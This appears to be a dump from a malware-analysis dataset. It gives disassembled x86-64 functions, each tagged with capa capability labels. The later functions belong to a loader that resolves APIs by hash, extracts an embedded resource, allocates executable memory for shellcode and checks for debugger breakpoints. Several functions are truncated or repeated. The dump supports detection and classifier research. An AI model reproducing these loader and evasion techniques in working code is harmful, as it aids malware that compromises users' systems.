joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ebb90
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.1400ebfd0
mov rax, qword [rbp - 0x60]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x1400ebbe6
lea rcx, [rbp - 0x58]
call fcn.1400e5f30
mov qword [rsi], rdi
jmp 0x1400ebe37
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x3f0], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x410], 2
mov qword [rbp + 0x418], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
cmp r8, 0x201
jae 0x1400ebc70
jmp 0x1400ebc5f
jae 0x1400ebd36
cmp r8, 0x201
jae 0x1400ebc70
mov r15d, 0x200
lea r12, [rbp - 0x60]
mov r13, r8
jmp 0x1400ebcc8
sub r8, r14
sub rbx, r14
cmp r8, rbx
jbe 0x1400ebc9f
lea rcx, [rbp + 0x408]
mov rdx, r14
call fcn.140124400
mov rdi, qword [rbp + 0x408]
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x418], r14
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov r13, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x400]
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x1400ebcf7
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400ebdbb
mov r8d, esi
cmp r13, r8
jne 0x1400ebc50
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400ebe4c
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x1400ebc5f
jmp 0x1400ebc70
cmp r15, r8
jb 0x1400ebe66
lea rcx, [rbp + 0x3a0]
mov rdx, r12
call fcn.1400ea280
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
cmp qword [rbp + 0x408], 0
add byte [rax], al
invalid
je 0x1400ebd8a
mov r8, qword [rbp + 0x410]
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c8], rax
movabs rsi, 0x8000000000000000
mov qword [rbp + 0x3c0], rsi
cmp qword [rbp + 0x408], 0
je 0x1400ebe01
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3f8]
lea rcx, str.internal_error:_entered_unreachable_codeC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_schedule.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14011aa10
jmp 0x1400ebe7b
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.14011a9a0
ud2

Function at 0x1400ecde0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
Function at 0x1400ee8c0
Capabilities:
Create directory

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x10]
call fcn.1400ebfd0
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 8]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x1400ee91d
mov rcx, qword [rbp]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rcx
call 0x1005c764f

Function at 0x1400f1280
Capabilities:
Resolve dns

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov word [rbp + 0x166], ax
mov rax, qword [0x140198268]
cmp rax, 3
jne 0x1400f1472
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
cmp rdi, 0x17f
ja 0x1400f1498
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov r8, rdi
call fcn.140119a10
mov byte [rbp + rdi - 0x60], 0
lea rax, [rdi + 1]
cmp rdi, 0xe
ja 0x1400f1318
xor edx, edx
nop word [rax + rax]
cmp byte [rbp + rdx - 0x60], 0
je 0x1400f13d4
inc rdx
cmp rax, rdx
jne 0x1400f1300
jmp 0x1400f143d
lea rcx, [rbp - 0x59]
and rcx, 0xfffffffffffffff8
sub rcx, rbx
je 0x1400f134e
xor edx, edx
nop word [rax + rax]
cmp byte [rbp + rdx - 0x60], 0
je 0x1400f13d4
inc rdx
cmp rcx, rdx
jne 0x1400f1330
lea rdx, [rdi - 0xf]
cmp rcx, rdx
jbe 0x1400f1352
jmp 0x1400f139e
lea rdx, [rdi - 0xf]
movdqa xmm0, xmmword [0x140127700]
movabs r8, 0x8080808080808080
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x60]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r9, xmm2
test r9, r8
jne 0x1400f139e
add rcx, 0x10
cmp rcx, rdx
jbe 0x1400f1370
sub rax, rcx
je 0x1400f143d
lea r8, [rcx + rbp]
add r8, 0xffffffffffffffa0
xor edx, edx
nop word cs:[rax + rax]
cmp byte [r8 + rdx], 0
je 0x1400f13d1
inc rdx
cmp rax, rdx
jne 0x1400f13c0
jmp 0x1400f143d
add rdx, rcx
cmp rdx, rdi
jne 0x1400f143d
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x128], 1
mov qword [rbp + 0x158], 0
lea rcx, [rbp - 0x60]
lea r8, [rbp + 0x120]
lea r9, [rbp + 0x158]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400f1451
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1400f1469
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400f14aa
mov rax, qword [rbp + 0x158]
movzx ecx, word [rbp + 0x166]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
jmp 0x1400f14aa
mov rbx, rdx
call fcn.1401248e0
mov rdx, rbx
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
cmp rdi, 0x17f
jbe 0x1400f12d7
lea r9, [rbp + 0x150]
mov rcx, rsi
mov r8, rdi
call fcn.140124950
nop
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400f1d40
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x140198310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400f2240
test rax, rax
je 0x1400f1e39
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1400f1ef0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400f1e2b
mov rax, qword [rbx]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rax]
test rax, rax
je 0x1400f1dd7
mov rcx, qword [rbp - 0x18]
call rax
mov r8, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x20]
je 0x1400f1e04
cmp qword [rax + 0x10], 0x11
jb 0x1400f1df5
mov r8, qword [r8 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], rdi
mov ecx, 8
mov edx, 0x10
call fcn.14011a540
ud2
Function at 0x1400fd090
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rsi, r8
mov r14, rdx
mov rax, qword [rcx + 0x18]
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
je 0x1400fd251
mov r15, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x20]
jmp 0x1400fd0f7
mov rdx, qword [rcx + 0x10]
lea rcx, [rsp + 0x28]
mov r8, r14
xor r9d, r9d
call fcn.1400fa8b0
movzx eax, byte [rsp + 0x31]
cmp al, 3
jne 0x1400fd278
cmp al, 2
jne 0x1400fd32e
mov r12, qword [rsp + 0x28]
jmp 0x1400fd2b6

Function at 0x1400fd360
Capabilities:
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov qword [rsp + 0x30], r8
mov rsi, rdx
mov rbx, qword [rcx + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x1400fd4ff
mov r14, qword [rcx + 0x10]
mov r12, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x10]
lea rcx, [rsp + 0x20]
mov r8, rsi
mov r9b, 1
call fcn.1400fa8b0
movzx eax, byte [rsp + 0x29]
cmp al, 3
jne 0x1400fd526
cmp al, 2
jne 0x1400fd55b
mov r13, qword [rsp + 0x20]
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.14011adb0
int3
Function at 0x140120330
Capabilities:
Link many functions at runtime

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rcx, [0x140150915]
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140120382
mov rdi, rax
lea rdx, [0x140150936]
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140120382
mov rsi, rax
lea rdx, [0x140150944]
mov rcx, rdi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140120382
mov r14, rax
xor edi, edi
jmp 0x140120406
lea rcx, [0x1401508d0]
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x14012046e
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14012046e
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14012046e
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14012046e
mov rsi, rax
lea rcx, [rsp + 0x20]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x14012046e
mov r14, qword [rsp + 0x20]
movzx eax, byte [0x140198310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f2240
test rax, rax
je 0x140120473
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x1401981c0], rbx
je 0x140120461
mov rsi, rax
cmp qword [rbx], 0
je 0x14012044c
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140120490
mov ecx, 8
mov edx, 0x18
call fcn.14011a540
int3
Function at 0x140124950
Capabilities:
Resolve dns

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
cmp r8, 0xffffffffffffffff
je 0x140124b70
mov rbx, r8
mov r15, r8
inc r15
js 0x140124b7c
mov rdi, r9
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x140198310]
xor ecx, ecx
mov rdx, r15
call fcn.1400f2240
test rax, rax
je 0x140124b81
mov r12, rax
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.140119a10
cmp rbx, 0xf
ja 0x1401249e8
test rbx, rbx
je 0x140124a8f
xor eax, eax
nop word cs:[rax + rax]
cmp byte [r14 + rax], 0
je 0x140124af8
inc rax
cmp rbx, rax
jne 0x1401249d0
jmp 0x140124a8f
lea rax, [r14 + 7]
and rax, 0xfffffffffffffff8
sub rax, r14
jne 0x140124a40
lea rcx, [rbx - 0x10]
xor eax, eax
movdqa xmm0, xmmword [0x140127700]
movabs rdx, 0x8080808080808080
nop dword [rax]
movdqu xmm1, xmmword [r14 + rax]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r8, xmm2
test r8, rdx
jne 0x140124a6c
add rax, 0x10
cmp rax, rcx
jbe 0x140124a10
jmp 0x140124a6c
cmp rax, rbx
cmovae rax, rbx
xor ecx, ecx
nop dword [rax]
cmp byte [r14 + rcx], 0
je 0x140124af8
inc rcx
cmp rax, rcx
jne 0x140124a50
lea rcx, [rbx - 0x10]
cmp rax, rcx
jbe 0x1401249fb
cmp rax, rbx
je 0x140124a8f
nop word cs:[rax + rax]
cmp byte [r14 + rax], 0
je 0x140124af8
inc rax
cmp rbx, rax
jne 0x140124a80
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], rbx
lea rcx, [rbp - 0x40]
call fcn.140006760
mov rbx, rax
mov r14, rdx
pxor xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x38], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x40]
lea r9, [rbp - 8]
mov rcx, rax
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140124b2b
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x140124b3f
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r12
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rdi]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rbx], 0
test r14, r14
je 0x140124b60
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rcx, str.library_alloc_src_ffic_str.rs
call fcn.14011adb0
call fcn.140006640
mov ecx, 1
mov rdx, r15
call fcn.14011a520
int3
Function at 0x140001082
Capabilities:
Check os version
Parse pe header

Disassembly:
jmp 0x140001cb0
sub rsp, 0x28
lea rcx, [0x1400082ef]
call fcn.1400010d2
mov rax, qword gs:[0x60]
test rax, rax
je 0x140001d6f
cmp dword [rax + 0x118], 0xa
jne 0x140001d6f
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x20]
test rdx, rdx
je 0x140001d6f
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140001d6f
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140001d6f
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
je 0x140001d6f
mov qword [0x140005140], rdx
mov ecx, dword [r8 + 0x18]
mov dword [0x140005138], ecx
mov r10d, dword [r8 + 0x20]
add r10, rdx
mov qword [0x140005128], r10
mov r9d, dword [r8 + 0x1c]
add r9, rdx
mov qword [0x140005120], r9
mov r8d, dword [r8 + 0x24]
add r8, rdx
mov qword [0x140005130], r8
test ecx, ecx
je 0x140001d6f
test r10, r10
je 0x140001d6f
test r9, r9
je 0x140001d6f
test r8, r8
je 0x140001d6f
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001091
Capabilities:
Parse pe header

Disassembly:
jmp 0x140001ba0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
lea rcx, [0x1400082ef]
call fcn.1400010d2
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001bf0
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140001bf0
mov eax, dword [rax + rbx + 0x88]
add rax, rbx
mov qword [rdi], rax
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x1400010a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140001730
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push r14
sub rsp, 0x20
mov r14, rcx
lea rcx, [0x140008229]
call fcn.1400010d2
mov edx, 0x67
xor ecx, ecx
lea r8d, [rdx - 0x5d]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400017e5
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400017e5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400017e5
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
je 0x1400017e5
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400017c9
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
call fcn.140001073
mov rax, rdi
mov qword [r14], rbx
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x1400010af
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400023b0
sub rsp, 0x28
lea rcx, [0x14000847e]
call fcn.1400010d2
mov ecx, 0x43708c00
call fcn.140001064
mov rcx, rax
mov edx, 0x2120e60b
add rsp, 0x28
jmp fcn.1400010be
Function at 0x1400010b9
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x1400011c0
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1400080a0]
call fcn.1400010d2
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_VirtualAlloc]

Function at 0x1400010be
Capabilities:
Parse pe header

Disassembly:
jmp 0x140002200
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x110
mov rdi, rcx
mov r14d, edx
lea rcx, [0x14000847e]
call fcn.1400010d2
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x140002327
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
cmp dword [rax], 0x4550
jne 0x140002327
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
xor ebx, ebx
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov ebp, dword [rsp + 0x90]
add rbp, rdi
mov r15d, dword [rbp + 0x20]
mov r12d, dword [rbp + 0x1c]
add r15, rdi
mov r13d, dword [rbp + 0x24]
add r12, rdi
add r13, rdi
cmp dword [rbp + 0x14], ebx
jbe 0x140002327
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r15 + rbx*4]
add rcx, rdi
mov esi, dword [r12 + rax*4]
add rsi, rdi
call fcn.140001050
cmp r14d, eax
je 0x14000234a
inc ebx
cmp ebx, dword [rbp + 0x14]
jb 0x140002302
xor eax, eax
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsi
jmp 0x140002329
Function at 0x1400010cd
Capabilities:
Check for software breakpoints

Disassembly:
jmp 0x1400014a0
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x140008166]
call fcn.1400010d2
xor edi, edi
call fcn.14000100a
mov ebx, eax
call fcn.140001087
mov ecx, eax
call fcn.140001064
mov rcx, rax
mov edx, ebx
call fcn.1400010be
mov rdx, rax
test rax, rax
je 0x140001535
mov ecx, edi
nop
cmp byte [rcx + rax], 0xc3
jne 0x1400014ed
cmp byte [rcx + rax + 1], 0xcc
je 0x1400014f4
inc edi
inc rcx
jmp 0x1400014e0
test rcx, rcx
je 0x140001518
nop dword [rax]
cmp byte [rcx + rax], 0xe8
je 0x140001510
dec edi
sub rcx, 1
jne 0x140001500
jmp 0x140001518
movsxd rax, edi
add rdx, rax
je 0x14000151d
cmp byte [rdx], 0xe8
jne 0x140001535
mov eax, dword [rdx + 1]
inc rdx
add rax, 4
add rax, rdx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400011c0
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1400080a0]
call fcn.1400010d2
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_VirtualAlloc]

Function at 0x1400014a0
Capabilities:
Check for software breakpoints

Disassembly:
jmp 0x1400014a0
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x140008166]
call fcn.1400010d2
xor edi, edi
call fcn.14000100a
mov ebx, eax
call fcn.140001087
mov ecx, eax
call fcn.140001064
mov rcx, rax
mov edx, ebx
call fcn.1400010be
mov rdx, rax
test rax, rax
je 0x140001535
mov ecx, edi
nop
cmp byte [rcx + rax], 0xc3
jne 0x1400014ed
cmp byte [rcx + rax + 1], 0xcc
je 0x1400014f4
inc edi
inc rcx
jmp 0x1400014e0
test rcx, rcx
je 0x140001518
nop dword [rax]
cmp byte [rcx + rax], 0xe8
je 0x140001510
dec edi
sub rcx, 1
jne 0x140001500
jmp 0x140001518
movsxd rax, edi
add rdx, rax
je 0x14000151d
cmp byte [rdx], 0xe8
jne 0x140001535
mov eax, dword [rdx + 1]
inc rdx
add rax, 4
add rax, rdx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x140001730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140001730
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push r14
sub rsp, 0x20
mov r14, rcx
lea rcx, [0x140008229]
call fcn.1400010d2
mov edx, 0x67
xor ecx, ecx
lea r8d, [rdx - 0x5d]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400017e5
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400017e5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400017e5
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
je 0x1400017e5
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400017c9
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
call fcn.140001073
mov rax, rdi
mov qword [r14], rbx
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x140001ba0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140001ba0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
lea rcx, [0x1400082ef]
call fcn.1400010d2
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001bf0
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140001bf0
mov eax, dword [rax + rbx + 0x88]
add rax, rbx
mov qword [rdi], rax
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140001cb0
Capabilities:
Check os version
Parse pe header

Disassembly:
jmp 0x140001cb0
sub rsp, 0x28
lea rcx, [0x1400082ef]
call fcn.1400010d2
mov rax, qword gs:[0x60]
test rax, rax
je 0x140001d6f
cmp dword [rax + 0x118], 0xa
jne 0x140001d6f
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x20]
test rdx, rdx
je 0x140001d6f
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140001d6f
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140001d6f
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
je 0x140001d6f
mov qword [0x140005140], rdx
mov ecx, dword [r8 + 0x18]
mov dword [0x140005138], ecx
mov r10d, dword [r8 + 0x20]
add r10, rdx
mov qword [0x140005128], r10
mov r9d, dword [r8 + 0x1c]
add r9, rdx
mov qword [0x140005120], r9
mov r8d, dword [r8 + 0x24]
add r8, rdx
mov qword [0x140005130], r8
test ecx, ecx
je 0x140001d6f
test r10, r10
je 0x140001d6f
test r9, r9
je 0x140001d6f
test r8, r8
je 0x140001d6f
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
